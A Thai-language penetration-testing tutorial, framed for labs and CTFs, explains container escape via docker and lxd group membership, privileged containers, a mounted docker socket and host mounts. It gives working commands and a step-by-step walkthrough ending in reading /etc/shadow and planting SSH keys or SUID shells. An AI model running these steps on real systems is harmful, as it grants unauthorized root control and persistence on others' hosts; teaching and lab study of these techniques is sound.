Docker / Container Escape
Docker/Container Escape คือการหลุดจาก container ไปควบคุม host หรือยกระดับเป็น root ผ่าน docker/lxd group, privileged container, mounted socket หรือ host filesystem บทนี้ลงลึกแต่ละช่องทาง: docker group, privileged container capabilities, docker socket, host mount, และ lxd (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ
Container แยก process จาก host แต่หลาย misconfiguration ทำให้ 'หลุด' ออกไปคุม host หรือยกระดับเป็น root ได้ ช่องทางหลัก: (1) อยู่ใน docker/lxd group (= root เทียบเท่า), (2) privileged container (มี capability เต็ม), (3) docker socket ถูก mount เข้า container, (4) host filesystem ถูก mount เข้า แต่ละอย่างนำไปคุม host
2. Docker group (= root)
user ที่อยู่ใน docker group สั่ง docker daemon (รันเป็น root) ได้ — เท่ากับ root เพราะ mount host filesystem เข้า container แล้วเข้าถึงได้เต็ม
# ตรวจว่าอยู่ docker group ไหม
id | grep docker
# mount host root (/) เข้า container แล้ว chroot → เข้าถึง host เต็ม
docker run -v /:/host -it alpine chroot /host /bin/bash
# ตอนนี้อยู่ใน host filesystem เป็น root!
# หรือใช้ image ที่มีอยู่ (ถ้าไม่มีเน็ตดึง alpine)
docker images # ดู image ที่มี
docker run -v /:/host -it <image> chroot /host sh
# GTFOBins มี docker entry ด้วย3. Privileged container
container ที่รันด้วย --privileged มี capability เกือบเต็มและเข้าถึง device ของ host — escape ได้หลายวิธี
# ตรวจว่าอยู่ใน privileged container
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = เกือบทุก capability = privileged
# ดู host disk device (privileged เห็น)
fdisk -l # เห็น /dev/sda ของ host
ls /dev/ # มี device ของ host
# mount host disk เข้ามา → เข้าถึงไฟล์ host
mkdir /mnt/host
mount /dev/sda1 /mnt/host # mount host root
cat /mnt/host/etc/shadow # อ่าน host shadow
# เขียน SSH key / cron / SUID บน host filesystem
# หรือ escape ผ่าน release_agent (cgroup) — มี exploit สำเร็จรูป4. Docker socket mounted
# ตรวจว่ามี docker socket ใน container ไหม
ls -la /var/run/docker.sock
# ถ้ามี = คุม docker daemon ของ host ได้
# ใช้ socket สร้าง container ใหม่ที่ mount host /
# (ถ้ามี docker client ใน container)
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh
# ถ้าไม่มี docker client → ใช้ curl คุย API
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# สร้าง container ผ่าน API (POST /containers/create) mount /5. LXD group
# อยู่ใน lxd group → import image แล้วสร้าง privileged container mount host
id | grep lxd
# 1. เตรียม alpine image (จากเครื่องเรา หรือ build)
# 2. import + สร้าง container privileged ที่ mount host /
lxc image import alpine.tar.gz --alias myimg
lxc init myimg pwn -c security.privileged=true
lxc config device add pwn host disk source=/ path=/mnt/host recursive=true
lxc start pwn
lxc exec pwn /bin/sh
# ใน container: /mnt/host = host filesystem (root)
cd /mnt/host; # เขียน SSH key/SUID/อ่าน shadow6. Quick Reference
- container escape: docker/lxd group, privileged, socket, host mount
- docker group: docker run -v /:/host -it alpine chroot /host sh
- privileged: CapEff เต็ม → mount /dev/sda1 → host filesystem
- docker.sock ใน container → docker -H unix://... run mount /
- lxd group: lxc init -c security.privileged=true + mount host /
- ตรวจ: id (docker/lxd group), /proc/self/status CapEff, ls docker.sock
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติได้ shell แล้ว (อาจอยู่ใน container หรือเครื่องที่มี docker ติดตั้งอยู่) มีแค่ Kali เปล่าๆ ไม่มี sudo ที่ใช้ได้ตรงๆ ลองเช็คว่ามีทางหลุดออกจาก container หรือใช้ docker/lxd ยกระดับได้ไหม ทำตามนี้ทีละขั้น
- 1พิมพ์ id ดูว่าตัวเองอยู่ group docker หรือ lxd ไหม
- 2ถ้าอยู่ docker group ให้พิมพ์ docker images ดูว่ามี image อะไรอยู่แล้วบ้าง (เผื่อไม่มีเน็ตดึงใหม่)
- 3รัน docker run -v /:/host -it alpine chroot /host /bin/bash (หรือ image ที่มีอยู่แทน alpine)
- 4ถ้าไม่อยู่ docker/lxd group ให้เช็คว่าตัวเองอยู่ 'ใน' container อยู่แล้วหรือเปล่า ด้วย cat /proc/self/status | grep CapEff
- 5ถ้า CapEff เกือบเต็ม (เช่น 0000003fffffffff) แปลว่าเป็น privileged container ให้ลอง fdisk -l ดู host disk แล้ว mount /dev/sda1 เข้ามา
- 6เช็คด้วย ls -la /var/run/docker.sock ว่ามีถูก mount เข้ามาไหม ถ้ามีลองคุยผ่าน curl --unix-socket
- 7ถ้าอยู่ lxd group ให้เตรียม image (alpine) แล้ว lxc init ด้วย security.privileged=true พร้อม mount host disk เข้ามา
- 8เมื่อเข้าถึง host filesystem ได้แล้ว เขียน SSH authorized_keys หรือสร้าง SUID bash ไว้ในนั้น
- 9ออกจาก container กลับไปที่ host (หรือ SSH เข้าใหม่) แล้วพิมพ์ id ยืนยัน uid=0(root)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| เช็ค group/capability ปัจจุบัน | id, cat /proc/self/status | - | - |
| escape ผ่าน docker/lxd group | docker, lxc | - | gtfobins.github.io |
| mount host disk (privileged) | mount, fdisk -l | - | - |
| คุย docker API ผ่าน socket | curl --unix-socket | - | - |
| ดาวน์โหลด image สำหรับ lxd | - | lxc image import / wget alpine image | - |
| enumeration อัตโนมัติในตัว container | - | linpeas | - |
| หา kernel exploit เผื่อ escape ทางอื่น | searchsploit, uname -a | - | exploit-db.com |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้